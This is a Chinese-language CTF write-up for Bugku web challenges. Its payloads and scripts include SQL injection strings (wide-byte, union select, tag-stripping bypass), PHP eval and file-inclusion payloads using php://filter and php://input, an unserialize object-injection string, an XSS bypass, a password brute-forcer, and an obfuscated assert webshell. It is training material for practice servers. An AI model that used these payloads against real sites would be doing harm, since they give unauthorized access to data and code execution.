0x01 web2
点开后是一张动图,查看源代码发现flag
0x02 文件上传测试
上传一张jpg格式的图片抓包后后缀改为php即可
0x03 计算器
下面给出三种方法
0x05 web基础$_POST
因为是post,无法直接url上,利用火狐hackbar post过去
0x06 矛盾
1 | $num=$_GET['num']; |
1 | 原理:php弱类型的绕过 |
1 | 构造?num=1a即可 |
0x07 web3
点开题目链接弹出对话框没完了,直接禁止再弹出对话框,查看源代码发现如下1
KEY{J2sa42ahJK-HS11III}
可知这是一串html码,在线url解码得到如下1
KEY{J2sa42ahJK-HS11III}
0x08 sql注入
- 查看源代码发现gb2312,猜想是宽字节注入
1
http://103.238.227.13:10083/?id=1%df%27
报错,证明是宽字节注入
1 | http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23 |
爆出库sql5
1 | http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key%23 |
结合题目爆出key
0x09 域名解析
题目说把flag.bugku.com解析到120.24.86.145能拿到flag,那就改一下本地的host
打开/etc/hosts,修改里面的内容,增加一条内容,内容如下1
120.24.86.145 flag.bugku.com
保存之后,再在浏览器里打开flag.bugku.com就能看到flag。
0x10 SQL注入1
1 | //过滤sql |
备注:strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
所以可以利用这个标签来绕过1
http://103.238.227.13:10087/?id=0 uni<b>on sele<b>ct 1,database()#
爆出数据库sql3
1 | http://103.238.227.13:10087/?id=0 uni<b>on sele<b>ct 1,hash fr<b>om sql3.key# |
爆出flag
0x11 你必须让他停下
点开后连续不断的刷新网址,用burpsuite抓包发到intruder,随便构造没用的参数发送,根据length观察
0x12 本地包含
1 | echo '2333,不只是本地文件包含哦~'; <?php |
- @$_REQUEST 的意思是获得参数,不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。
所以构造hello的get参数。1
eval函数将输入的字符串参数当作PHP程序代码来执行
原理:eval命令执行漏洞,把字符串构造成代码,要符合php语法
看了别人的wp,有很多种方法如下:1
2
3
4
5
6<1> hello=);print_r(file("flag.php")
<2> hello=);var_dump(file("flag.php")
<3> hello=file("flag.php")
<4> hello=);include(@$_POST['b']
在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"
总结几个要点
- eval() 函数会把字符串参数当做代码来执行。
- file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
- print_r() 函数只用于输出数组。
- var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
- hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
- include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。
0x13 变量1
1
2
3
4
5
6
7
8
9
10
11
12
13flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
1 | eval("var_dump($$args);"); |
- 原理:$$为可变变量
- 超全局数组 GLOBALS(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),传进去之后就会将代码中所有的全局变量打印出来。
- ?args=GLOBALS
0X14 web5
查看源代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<html>
<title>BKCTF-WEB4</title>
<body>
<div style="display:none;"></div>
<form action="index.php" method="post" >
看看源代码?<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>
<input type="input" name="flag" id="flag" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
1 | escape采用ISO Latin字符集对指定的字符串进行编码。所有的空格符、标点符号、特殊字符以及其他非ASCII字符都将被转化成%xx格式的字符编码(xx等于该字符在字符集表里面的编码的16进制数字)。 |
按照要求进行unescape解密得到1
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
得到密码:67d709b2b54aa2aa648cf6e87a7114f1,在页面输入得到flag
0x15 flag在index里
点开后发现url为1
http://120.24.86.145:8005/post/index.php?file=show.php
容易想到文件包含1
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到一串base64码,解码后得到flag1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
0x16 输入密码查看flag
很简单的一道题,burpsuite爆破五位纯数字
也可以用脚本爆破密码(下面是借鉴一位朋友的脚本)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#coding=utf-8
import requests
import itertools
def url(pwd):
url = 'http://120.24.86.145:8002/baopo/?yes'
header = {
'User-Agent': 'Xlcteam Browser',
}
data = {'pwd':pwd}
r = requests.post(url,headers=header,data=data)
return len(r.content.decode('utf-8'))
str1='1234567890'
str2 = itertools.product(str1,repeat=5)
for x in str2:
pwd = ''.join(x)
if url(pwd)!=1140:
print pwd
break
0x17 点击一百万次
根据源代码得到关键clicks,直接上火狐hackbar post:clicks=1000000
0x18 备份是个好习惯
原理:源码泄漏
用这个工具即可
https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
1 | 分析源码:11行strstr获得URI从'?'往后(包括'?')的字符串, |
1 | 构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708 |
0x19 成绩单
爆出所有的数据库名
得到库名skctf_flag
爆出所有的表名
1 | id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# |
得到表名:1
fl4g
爆出该表名下的所有字段(十六进制绕过)
1 | id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# |
得到字段名:1
skctf_flag
最后爆出该库名该表名该字段下的内容1
id=0' union select 1,2,3,skctf_flag from skctf_flag.fl4g#
1 | BUGKU{Sql_INJECT0N_4813drd8hz4} |
0x20 秋名山老司机
1 | 亲请在2s内计算老司机的车速是多少 |
很明显地要想在2s内完成就得靠脚本爆破
1 | import requests |
- 必须利用会话对象 Session(),否则提交结果的时候,页面又重新生成一个新的表达式,结果自然错误
- 利用正则表达式截取响应内容中的算术表达式。首先引入 re 模块,其次用 search() 匹配算术表达式,匹配成功后用 group() 返回算术表达式的字符串
0x21 速度要快
与上面原理相同,写个脚本1
2
3
4
5
6
7
8
9import requests
import base64
s = requests.Session()
url = 'http://120.24.86.145:8002/web6/'
headers = s.get(url).headers
m = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data = {'margin':m}
print(s.post(url,data=data).text)
1 | KEY{111dd62fcd377076be18a} |
0x22 cookie欺骗
url上的参数明显是base64码,解码后为key.txt
把参数换成index.php后编码,观察发现line按行返回
写个脚本跑一下1
2
3
4
5
6
7
8
9
10import requests
s= requests.Session()
result = ""
url = 'http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
for i in range(1,30):
content = s.get(url%i).text
if content == "":
break
result += content
print result
也可以这么写脚本,练了一下1
2
3
4
5
6
7
8
9import requests
s= requests.Session()
result = ""
url = 'http://120.24.86.145:8002/web11/index.php'
for i in range(1,30):
payload = {'line':str(i),'filename':'aW5kZXgucGhw'}
m = s.get(url,params=payload)
result += m.text
print result
1 | error_reporting(0); |
说明要求在keys.php下构造Cookie:margin=margin
- 可以用burpsuite抓取传递Cookie
- 也可以写个脚本传递过去,如下:
1
2
3
4
5
6
7import requests
s= requests.Session()
result = ""
url ='http://120.24.86.145:8002/web11/index.php?line=0%d&filename=a2V5cy5waHA='
cookies = {'margin':'margin'}
result = s.get(url,cookies=cookies).text
print result
跑出如下:1
<?php $key='KEY{key_keys}'; ?>
0x23 xss
构造payload:1
http://103.238.227.13:10089/?id=<img src=1 onerror=alert(_key_)>
查看源代码发现<>这被过滤掉了,这里有一篇文章
绕过xss过滤方法
所以用尝试构造payload如下:1
http://103.238.227.13:10089/?id=\u003cimg src=1 onerror=alert(_key_)\u003e
得到flag
0x23 never give up
点开后什么也没有,查看源代码发现 1p.html,复制到url发现莫名跳到www.bugku.com了,猜想里面用了header location,即:1
header('Location: http://www.bugku.com/')
于是上burpsuite抓包如图:
发现var后面有可解码字符,首先url解码,再base64解码,最后url解码得到:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22"if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
- $data==”bugku is a nice plateform!”:可以令a=php://input,然后POST传值 bugku is a nice plateform! 绕过。
- strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4:可以利用%00截断,令b=%0012345 绕过。
- !$_GET[‘id’]并且id==0:令id=%00或者令id=.都可以绕过
0x24 welcome to bugkuctf
查看源代码得到:1
2
3
4
5
6
7
8
9
10
11
12<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
这里user跟上一题类似
- 读取$user文件,内容为welcome to the bugkuctf,
- $file要求为hint.php,将其导入
这两个分别利用php://input与php://filter
构造url如下:(看图)
hint.php经过base64解码后如下:1
2
3
4
5
6
7
8
9
10
11
12
13<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
仔细一看没太大有用信息,便尝试读取index.php源码,方法同上1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
从上面获取的源码可得到如下信息:
1.提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了屏蔽
2.hint.php中定义了一个类Flag,很有意思的是中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
3.__tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开
4.在index.php源码中看到了$password的作用
之前说过Flag方法当做字符串执行时,会自动执行 __tostring 方法,注意到echo函数,只能输出一个或多个字符串,所以只要$password为Flag类型数据,且其中string类型的变量$file为flag.php即可
理解到这里,就懂了为啥多一个很奇怪的unserialize函数,其作用即为让你用字符串方式传递一个类1
2
3
4
5
6
7
8
9
10<?php
class Flag{//flag.php
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>
得到如下:
1 | O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
最后构造的payload:1
http://120.24.86.145:8006/test1/index.php?txt=php://input&flie=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
post输出welcome to the bugkuctf
查看源代码得到flag
0x25 过狗一句话
整理一下代码得到:1
2
3
4
5
6<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
仔细研读一下代码,可以发现它这个最终是一句话木马,格式如下:1
<?php assert($_GET['s']) ?>
它这个为什么要弄这么复杂呢,百度查了下过狗一句话原理1
为了不让狗(安全玩家)看出来这是一句话木马,在一句话木马上增加修饰
接下来是正解:1
?s=print_r(scandir('./'))
可以看到1
Array ( [0] => . [1] => .. [2] => 2.php [3] => 3.php [4] => 4.php [5] => 5.php [6] => NewFile.txt [7] => a.php [8] => a.txt [9] => c.php [10] => conn [11] => f.html [12] => f.php [13] => flag.txt [14] => h.php [15] => haha.php [16] => index.php [17] => ll.php [18] => oudeniu.php [19] => q.php [20] => shell.php [21] => t2.php [22] => testfile.txt [23] => txxxc.php [24] => x.php [25] => zx.php )
尝试读取flag.txt得到flag
- scandir 列出./目录中的文件和目录:
- print echo 只能输出字符串
0x26 字符?正则?
1
2
3
4
5
6
7
8<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
很明显的是正则表达式的绕过,这里简单解释下:
- 1.表达式直接写出来的字符串直接利用,如key
- 2.“.”代表任意字符
- 3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
- 4.“\/”代表“/”
- 5.[a-z]代表a-z中的任意一个字符
- 6.[[:punct:]]代表任意一个字符,包括各种符号
- 7./i代表大小写不敏感
- 8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
- 9.移除字符串两侧的字符,具体格式自行百度
1
http://120.24.86.145:8002/web10/?id=keymkeyk555555key:/s/mkeyb@a
得到flag
0x27 前女友(SKCTF)
查看源代码点链接看到源代码1
2
3
4
5
6
7
8
9
10
11
12<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
这里主要利用两个漏洞
- md5()函数漏洞
- strcmp()函数漏洞
这两个都无法识别数组从而返回0
最终构造payload:1
http://118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=1
0x28 login1(SKCTF)
原理:SQL约束攻击
这个不解释了,具体内容我博客有,也可以自行百度
- 首先注册admin发现admin已经存在了,猜测是对admin进行SQL约束攻击
用户名注册为如下:1
admin 1
空格符尽量多一点,因为mysql数据库当数据在超过一定长度的时候会自动截断。
密码随意.
发现注册成功,然后再登陆得到flag.
0x29 你从哪里来
原理:referer消息头
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
按F12或者抓包增加一条信息:1
Referer:https://www.google.com
得到flag
0x30 md5 collision(NUPT_CTF)
原理:md5碰撞
百度的一个简单解释是:1
md5简单说是文件的指纹识别; 不同文件的md5码是不一样的;也有人研究这个算法的,找到两个不同文件但是md5一样的,这就是md5碰撞,几率很小。这是个不可逆算法
在这里的是1
在php文件中,以MD5值以0e开头的话,php就会认为他们两个的值相等.
也就是说,在这里输入a,这个a的md5值要以0e开头.
这里给出以0e开头的一些md5值
http://www.219.me/posts/2884.html1
http://120.24.86.145:9009/md5.php?a=s214587387a
0x31 各种绕过
1 | <?php |
最开始获取id时需要用urldecode解码(如果没有用url编码,解码还是原来的东西)
这里的sha1也存在和md5一样的数组漏洞,具体漏洞我博客有.
构造payload如下:1
http://120.24.86.145:8002/web7/?id=margin&uname[]=1
post为:1
passwd[]=2
得到flag.
0x32 web8
题目hint:txt????
打开后源码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
- empty()检测变量ac是否为空,若不为空则输出0
- trim() 函数移除字符串两侧的空白字符或其他预定义字符。
总的来说file_get_contents要读取一个文本,且文本内容等于ac,根据题目提示我们在flag.txt下发现flags内容,于是构造如下payload:1
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt
看了别人wp发现还有一种方法,就是file_get_content,可以利用php://input
0x33 细心
打开后什么也没有,于是尝试爬虫协议robots.txt发现1
2User-agent: *
Disallow: /resusl.php
于是访问resusl.php
根据题目提示给的admin,于是构造如下:1
http://120.24.86.145:8002/web13/resusl.php?x=admin
得到flag
0x34 求getshell
原理:后缀名黑名单加类型检测
- 头部的Content-Type改成Multipart/form-data大小写绕过waf(这个我一直不明白)
- 文件名改为php5
0x35 INSERT INTO注入
1 | flag格式:flag{xxxxxxxxxxxx} |